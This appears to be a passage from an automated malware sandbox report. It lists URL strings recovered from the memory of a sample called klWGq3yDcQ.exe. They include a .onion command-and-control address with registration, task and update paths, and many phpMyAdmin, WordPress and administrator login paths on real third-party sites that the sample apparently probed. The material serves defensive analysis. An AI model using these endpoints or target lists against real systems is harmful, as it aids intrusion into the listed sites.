Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://talentius.com/aviso-legal/#aviso-legal
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://talentius.com/com
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://talentius.com/politica-de-cookies/#politica-de-cookies
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://talentius.com/politica-de-privacidad/#politica-de-privacidad
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://talentius.com/wp-content/uploads/2017/02/logo-white.png
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://townshipnjr.com/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://townshipnjr.com/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://townshipnjr.com/dj2m6eq
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://townshipnjr.com/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://townshipnjr.com/phpMyAdmin/u
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://townshipnjr.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://townshipnjr.com/phpmyadmin/0n
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://townshipnjr.com/pma/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://townshipnjr.com/pma/com
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tradeavenida.com/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tradeavenida.com//?
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004222000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tradeavenida.com/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004222000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tradeavenida.com/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004222000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tradeavenida.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tradeavenida.com/wp-admin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tradeavenida.com/wp-admin/micro-design.com2111Li
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.000000000400D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wasserman.us/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.000000000400D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wasserman.us/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.000000000400D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wasserman.us/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.000000000400D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wasserman.us/phpmyadmin/)x
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.000000000400D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wasserman.us/pma/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.000000000400D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wasserman.us/pma/Admin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004389000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wonka.cc/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004389000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wonka.cc/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004389000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wonka.cc/phpMyAdmin/Pwo
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004389000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wonka.cc/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004389000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wonka.cc/pma/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww38.ondania.com/?ts=fENsZWFuUGVwcGVybWludEJsYWNrfHw1Y2U4NHxidWNrZXQwMDN8fHx8fHw2NTYyZGVkMzNi
Source: klWGq3yDcQ.exe, 00000001.00000002.2887027217.00000000042A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww38.ondania.com/administrator/?subid1=20231126-1659-4566-b4f3-ee8b4e33b307
Source: klWGq3yDcQ.exe, 00000001.00000002.2887027217.00000000042A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww38.ondania.com/administrator/?subid1=20231126-1659-4566-b4f3-ee8b4e33b307bx
Source: klWGq3yDcQ.exe, 00000001.00000002.2887027217.00000000042A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww38.ondania.com/administrator/index.php?subid1=20231126-1659-59fe-8cf7-5e631aeffacc
Source: klWGq3yDcQ.exe, 00000001.00000002.2887027217.00000000042A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww38.ondania.com/administrator/index.php?subid1=20231126-1659-59fe-8cf7-5e631aeffacca
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CF7000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2885992508.000000000409A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2884890826.0000000003E7A000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C8000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886351105.0000000004122000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2887027217.00000000042A7000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886351105.00000000040EF000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886296265.00000000040CB000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000003.2251172424.000000004E5EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0s
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPSe
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPSv?
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.00000000043A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.grantstech.io/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2884890826.0000000003E7A000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2885992508.00000000040B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.grg17geblergasse.at/wp-includes/css/dist/block-library/style.min.css?ver=6.4.1
Source: klWGq3yDcQ.exe, 00000001.00000002.2884890826.0000000003E7A000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2885992508.00000000040B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.grg17geblergasse.at/xmlrpc.php
Source: klWGq3yDcQ.exe, 00000001.00000002.2886351105.0000000004122000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.karinshobbyfotografie.nl/index.html
Source: klWGq3yDcQ.exe, 00000001.00000002.2866921685.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 00000004.00000002.3484645530.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: klWGq3yDcQ.exe, 00000001.00000002.2866921685.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 00000004.00000002.3484645530.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.htmlTYPE=2OpenSSL
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.spamhaus.org/query/bl?ip=89.149.18.60
Source: klWGq3yDcQ.exe, 00000001.00000002.2884890826.0000000003E7A000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FE2000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2887067492.000000000436E000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886351105.00000000040EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887588320.0000000004405000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004012000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: klWGq3yDcQ.exe, 00000001.00000002.2884890826.0000000003E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/i-
Source: klWGq3yDcQ.exe, 00000001.00000002.2884890826.0000000003E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887588320.0000000004405000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004012000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: klWGq3yDcQ.exe, 00000001.00000002.2884890826.0000000003E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/himontessori.com
Source: klWGq3yDcQ.exe, 00000001.00000002.2884890826.0000000003E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x5outc76j5k4qrzaqdj2m6eq4amkkpndbqyvmvaz6yl4mmfco6oqxsqd.onion/hb.php?n=19EE1A200E1DF5D59DA8&
Source: klWGq3yDcQ.exe, 00000001.00000002.2866921685.0000000000824000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 00000004.00000002.3484645530.0000000000824000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://x5outc76j5k4qrzaqdj2m6eq4amkkpndbqyvmvaz6yl4mmfco6oqxsqd.onionT/reg.php?upd.php?/task.php?/re
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://y3.qj51acp/administrator/index.php
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://y3.qj51acp/administrator/index.phpopen)n~
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://yahoo.comfreezed/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2866921685.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 00000004.00000002.3484645530.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https:///phpMyAdmin//PhpMyAdmin//pma/rootmysqlimapssmtpspop3sscp://your_IP_is_greylisted_README.txt2
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://117.20.63.148:2031/pma/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886351105.0000000004122000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://a.jimdo.com/app/auth/signin/jumpcms/?page=2060364879
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aadcdn.msauth.net
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_ltjvsvk5aekta_kgibi0gg2
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_7-fvwaoy6tcz
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aadcdn.msauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aadcdn.msauth.net/shared/1.0/content/js/ConvergedLogin_PCore_LRl_HOP41vTvA9IKhSqNsg2.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_ltjvsvk5aekta_kgibi0g
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_7-fvwaoy6t
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedLogin_PCore_LRl_HOP41vTvA9IKhSqNsg2.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://adm.uksw.edu/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000414C000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000414C000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004034000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/webfont/1.6.26/webfont.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.w.org/
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003F9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://assets.canaldapeca.com.br/static/cws-theme-tokens.umd.min.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003F9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://assets.cws.digital/static/bootstrap/4.6.2/js/bootstrap.min.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003F9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://assets.cws.digital/static/popper.js/1.14.6/umd/popper.min.
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003F9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://assets.cws.digital/static/popper.js/1.14.6/umd/popper.min.:
Source: klWGq3yDcQ.exe, 00000001.00000002.2886351105.0000000004122000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://assets.jimstatic.com/web.js.30196931e46e05701bed.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://beachrecruitment.com/administrator/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bunasta.eu/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://c.la2-c2-ia5.salesforceliveagent.com/content
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004012000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://captcha.wpsecurity.godaddy.com/api/v1/captcha/script?trigger=wp_login
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cardenas.mtz.rimed.cu/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://carelesscommunity.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://carelesscommunity.com/phpmyadmin//8
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004034000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000003.2251172424.000000004E5EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.jsdelivr.net/npm/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000414C000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.jsdelivr.net/npm/lg-video
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000414C000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/animejs/2.0.2/anime.min.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000414C000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/gsap/1.19.0/TweenLite.min.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000414C000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/jquery-cookie/1.4.1/jquery.cookie.min.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000414C000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/jqueryui/1.12.1/jquery-ui.min.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000414C000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/lightgallery/1.6.4/js/lightgallery.min.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000414C000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/scrollify/1.0.5/jquery.scrollify.min.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000414C000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/stickyfloat/7.5.0/stickyfloat.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ce-logic.com/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004025000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://certs.godaddy.com/repository/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004025000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://certs.godaddy.com/repository/l(
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004025000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://certs.godaddy.com/repository/m
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004025000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://certs.godaddy.com/repository/~)
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://certs.starfieldtech.com/repository/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886351105.0000000004122000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cms.e.jimdo.com/app/cms/logout.php
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003F9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://code.jquery.com/ui/1.12.1/jquery-ui.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2886296265.00000000040E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://connect.facebook.net/en_US/fbevents.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2884890826.0000000003E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://coralparkchristian.or
Source: klWGq3yDcQ.exe, 00000001.00000002.2877970062.00000000036E5000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000003.2251172424.000000004E5EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://coralparkchristian.org/
Source: klWGq3yDcQ.exe, 00000001.00000003.2251172424.000000004E5EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://coralparkchristian.org/wp-admin/
Source: klWGq3yDcQ.exe, 00000001.00000003.2251172424.000000004E5EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://coralparkchristian.org/wp-admin/css/forms.min.css?ver=5.2.19
Source: klWGq3yDcQ.exe, 00000001.00000003.2251172424.000000004E5EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://coralparkchristian.org/wp-admin/css/l10n.min.css?ver=5.2.19
Source: klWGq3yDcQ.exe, 00000001.00000003.2251172424.000000004E5EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://coralparkchristian.org/wp-admin/css/login.min.css?ver=5.2.19
Source: klWGq3yDcQ.exe, 00000001.00000003.2251172424.000000004E5EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://coralparkchristian.org/wp-includes/css/buttons.min.css?ver=5.2.19
Source: klWGq3yDcQ.exe, 00000001.00000003.2251172424.000000004E5EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://coralparkchristian.org/wp-includes/css/dashicons.min.css?ver=5.2.19
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CF7000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000003.2251172424.000000004E5EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://coralparkchristian.org/wp-login.php
Source: klWGq3yDcQ.exe, 00000001.00000003.2251172424.000000004E5EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://coralparkchristian.org/wp-login.php?action=lostpassword
Source: klWGq3yDcQ.exe, 00000001.00000002.2866921685.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 00000004.00000002.3484645530.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: csrss.exe, 00000004.00000002.3484645530.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: klWGq3yDcQ.exe, 00000001.00000002.2866921685.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 00000004.00000002.3484645530.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.la2-c2-ia5.salesforceliveagent.com/chat
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003C87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://daisyokogyo.co.jp/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://directlendersllc.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C2000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dstaq.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dstaq.com/phpmyadmin/1
